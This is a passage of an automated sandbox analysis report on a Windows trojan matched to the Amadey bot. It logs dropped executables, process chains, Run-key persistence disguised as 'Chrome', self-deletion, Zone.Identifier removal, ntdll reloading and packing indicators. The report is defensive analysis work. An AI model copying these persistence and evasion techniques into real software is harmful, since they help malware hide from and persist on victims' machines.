Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE3939F RtlInitializeCriticalSectionEx,ZwDelayExecution, 29_2_6CE3939F
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEB6369 RtlInitUnicodeString,ZwOpenFile,ZwCreateSection,ZwMapViewOfSection,ZwClose,ZwClose, 29_2_6CEB6369
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AB60 ZwReleaseKeyedEvent, 29_2_6CE4AB60
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE4AB70 ZwReleaseWorkerFactoryWorker, 29_2_6CE4AB70
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B7A RtlAllocateHeap,ZwQuerySystemInformationEx,memset,RtlFreeHeap, 29_2_6CE33B7A
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE98372 ZwClose,RtlStringFromGUIDEx,ZwCreateKey,RtlFreeUnicodeString, 29_2_6CE98372
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE02B7E ZwSetInformationThread,ZwClose, 29_2_6CE02B7E
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE33B48 ZwClose,ZwClose, 29_2_6CE33B48
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CED8B58 RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CED8B58
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE09335 ZwClose,ZwClose, 29_2_6CE09335
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE04B00 TpCallbackMayRunLong,TpCallbackMayRunLong,ZwSetInformationWorkerFactory, 29_2_6CE04B00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE49B00 ZwSetValueKey, 29_2_6CE49B00
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE35306 ZwReleaseKeyedEvent, 29_2_6CE35306
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CEC131B RtlGetCurrentServiceSessionId,ZwTraceEvent, 29_2_6CEC131B
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 30_2_02BC48D8 NtAllocateVirtualMemory, 30_2_02BC48D8
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 30_2_02BC48D0 NtAllocateVirtualMemory, 30_2_02BC48D0
Source: B4BD.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 234F.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 2E6C.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: 69D3.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: D210.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DA7F.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: DEC6.exe.12.dr Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: CFE9H9mdWr.exe Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\bsstvub Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winEXE@36/23@61/11
Source: C:\Users\user\AppData\Local\Temp\39F6.exe File read: C:\Users\user\Desktop\desktop.ini
Source: CFE9H9mdWr.exe Joe Sandbox Cloud Basic: Detection: clean Score: 0 Perma Link
Source: CFE9H9mdWr.exe Virustotal: Detection: 59%
Source: CFE9H9mdWr.exe Metadefender: Detection: 22%
Source: CFE9H9mdWr.exe ReversingLabs: Detection: 51%
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe'
Source: unknown Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe
Source: C:\Users\user\AppData\Roaming\bsstvub Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B4BD.exe C:\Users\user\AppData\Local\Temp\B4BD.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\234F.exe C:\Users\user\AppData\Local\Temp\234F.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2E6C.exe C:\Users\user\AppData\Local\Temp\2E6C.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe C:\Users\user\AppData\Local\Temp\39F6.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\5AFD.exe C:\Users\user\AppData\Local\Temp\5AFD.exe
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\69D3.exe C:\Users\user\AppData\Local\Temp\69D3.exe
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 'C:\Users\user\AppData\Local\Temp\39F6.exe'
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Process created: C:\Users\user\Desktop\CFE9H9mdWr.exe 'C:\Users\user\Desktop\CFE9H9mdWr.exe' Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\B4BD.exe C:\Users\user\AppData\Local\Temp\B4BD.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\234F.exe C:\Users\user\AppData\Local\Temp\234F.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\2E6C.exe C:\Users\user\AppData\Local\Temp\2E6C.exe Jump to behavior
Source: C:\Windows\explorer.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe C:\Users\user\AppData\Local\Temp\39F6.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\bsstvub Process created: C:\Users\user\AppData\Roaming\bsstvub C:\Users\user\AppData\Roaming\bsstvub Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\12C6.exe Process created: C:\Users\user\AppData\Local\Temp\12C6.exe C:\Users\user\AppData\Local\Temp\12C6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\dfsvc.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\DataSvcUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInUtil.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: C:\Users\user\AppData\Local\Temp\39F6.exe 39F6.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Process created: C:\Users\user\AppData\Local\Temp\4F44.exe C:\Users\user\AppData\Local\Temp\4F44.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Process created: unknown unknown
Source: C:\Windows\explorer.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32 Jump to behavior
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\12C6.tmp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: 39F6.exe.12.dr, ??????????????/_?????xptkvqfesn.cs Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\4F44.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\69D3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\69D3.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe File opened: C:\Windows\SysWOW64\msvcr100.dll Jump to behavior
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: CFE9H9mdWr.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: C:\vojos\fuw.pdb source: 2E6C.exe, 0000001D.00000000.426239114.0000000000417000.00000002.00020000.sdmp
Source: Binary string: D:\Mktmp\NL1\Release\NL1.pdb source: 39F6.exe, 39F6.exe, 00000026.00000002.514678804.0000000003ED5000.00000004.00000001.sdmp
Source: Binary string: C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp
Source: Binary string: C:\wucalehozojoh\setujupiwe-y.pdb source: 12C6.exe, 00000012.00000000.382730318.0000000000401000.00000020.00020000.sdmp, 12C6.exe, 00000014.00000000.393366231.0000000000401000.00000020.00020000.sdmp
Source: Binary string: wntdll.pdbUGP source: 2E6C.exe, 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp
Source: Binary string: wntdll.pdb source: 2E6C.exe
Source: Binary string: *C:\caduzabo-15\jobobiviwesasu\yinuzixohiyi\gotaro.pdb source: CFE9H9mdWr.exe, 00000000.00000002.284995142.0000000000401000.00000020.00020000.sdmp, CFE9H9mdWr.exe, 00000003.00000000.283132897.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000011.00000000.379245984.0000000000401000.00000020.00020000.sdmp, bsstvub, 00000013.00000000.381807809.0000000000401000.00000020.00020000.sdmp

Data Obfuscation:

barindex
Detected unpacking (changes PE section rights)
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Unpacked PE file: 29.2.2E6C.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.cipizi:R;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Unpacked PE file: 33.2.5AFD.exe.400000.0.unpack .text:ER;.data:W;.daya:W;.rsrc:R;.reloc:R; vs .text:EW;
.NET source code contains potential unpacker
Source: DA7F.exe.12.dr, SimplePaint/FrmMain.cs .Net Code: TypeNameBuilder System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Code function: 24_2_00E5D47C push esi; iretd 24_2_00E5D488
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E54 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E63 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402665 push cs; ret 29_2_0040266B
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_0040290C push eax; iretd 29_2_0040290D
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E16 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402DC0 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402DD8 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402DE8 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402DF1 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E82 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E85 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402D92 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E95 push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00401D9A pushad ; ret 29_2_00401DA3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_00402E9C push eax; ret 29_2_00402EB3
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Code function: 29_2_6CE5D0D1 push ecx; ret 29_2_6CE5D0E4
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4EDC3 push es; retf 33_2_02E4EDC4
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E545AF push esp; iretd 33_2_02E545B0
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4FABE push edx; iretd 33_2_02E4FAC0
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E542BA push esp; iretd 33_2_02E542BB
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4FB83 push eax; iretd 33_2_02E4FBBC
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4EE9B push edx; iretd 33_2_02E4EEA5
Source: C:\Users\user\AppData\Local\Temp\5AFD.exe Code function: 33_2_02E4FB67 push esp; iretd 33_2_02E4FB7D
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_0040BDAD push eax; retn 0040h 35_2_0040BDC7
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Code function: 35_2_00410F16 push ecx; ret 35_2_00410F29
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\CFE9H9mdWr.exe Code function: 0_2_00440870 LoadLibraryA,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer,__encode_pointer, 0_2_00440870
Binary contains a suspicious time stamp
Source: B4BD.exe.12.dr Static PE information: 0x8B87D1F5 [Mon Mar 7 03:28:53 2044 UTC]
PE file contains sections with non-standard names
Source: 5AFD.exe.12.dr Static PE information: section name: .daya
Source: 2E6C.exe.12.dr Static PE information: section name: .cipizi
Source: 69D3.exe.12.dr Static PE information: section name: .vito
Source: D210.exe.12.dr Static PE information: section name: .yuso
PE file contains an invalid checksum
Source: DA7F.exe.12.dr Static PE information: real checksum: 0x0 should be: 0x4147a
Source: 4F44.exe.12.dr Static PE information: real checksum: 0x2bdee should be: 0x3529c
Source: 39F6.exe.12.dr Static PE information: real checksum: 0x0 should be: 0xdd7bb
Source: DC45.exe.12.dr Static PE information: real checksum: 0x0 should be: 0x114b9d
Source: B4BD.exe.12.dr Static PE information: real checksum: 0x8ddc4 should be: 0x7fd66
Source: DEC6.exe.12.dr Static PE information: real checksum: 0x87179 should be: 0x81f2a
Source: initial sample Static PE information: section name: .text entropy: 6.81407351641
Source: initial sample Static PE information: section name: .text entropy: 7.85713092672
Source: initial sample Static PE information: section name: .text entropy: 6.98189062284
Source: initial sample Static PE information: section name: .text entropy: 7.87137605191
Source: initial sample Static PE information: section name: .text entropy: 7.38549549306
Source: initial sample Static PE information: section name: .text entropy: 7.67294154985
Source: initial sample Static PE information: section name: .text entropy: 7.83451647118
Source: initial sample Static PE information: section name: .text entropy: 7.29655075024
Source: initial sample Static PE information: section name: .text entropy: 7.86113394582

Persistence and Installation Behavior:

barindex
Yara detected Amadey bot
Source: Yara match File source: dump.pcap, type: PCAP
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\isstvub Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\wistvub Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\bsstvub Jump to dropped file
Drops PE files
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\234F.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\39F6.exe File created: C:\Users\user\AppData\Local\Temp\603c0340b4\sqtvvs.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\5AFD.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\2E6C.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\DEC6.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\69D3.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\39F6.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\B4BD.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe File created: C:\Users\user\AppData\Local\Temp\1105.tmp Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\DA7F.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\bsstvub Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\69D3.exe File created: C:\Users\user\AppData\LocalLow\sqlite3.dll Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\D88A.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\4F44.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\DC45.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\isstvub Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\12C6.exe Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Roaming\wistvub Jump to dropped file
Source: C:\Windows\explorer.exe File created: C:\Users\user\AppData\Local\Temp\D210.exe Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Chrome Jump to behavior

Hooking and other Techniques for Hiding and Protection:

barindex
DLL reload attack detected
Source: C:\Users\user\AppData\Local\Temp\2E6C.exe Module Loaded: Original DLL: C:\USERS\user\APPDATA\LOCAL\TEMP\1105.TMP reload: C:\WINDOWS\SYSWOW64\NTDLL.DLL
Deletes itself after installation
Source: C:\Windows\explorer.exe File deleted: c:\users\user\desktop\cfe9h9mdwr.exe Jump to behavior
Hides that the sample has been downloaded from the Internet (zone.identifier)
Source: C:\Windows\explorer.exe File opened: C:\Users\user\AppData\Roaming\bsstvub:Zone.Identifier read attributes | delete Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Users\user\AppData\Local\Temp\39F6.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B4BD.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\234F.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
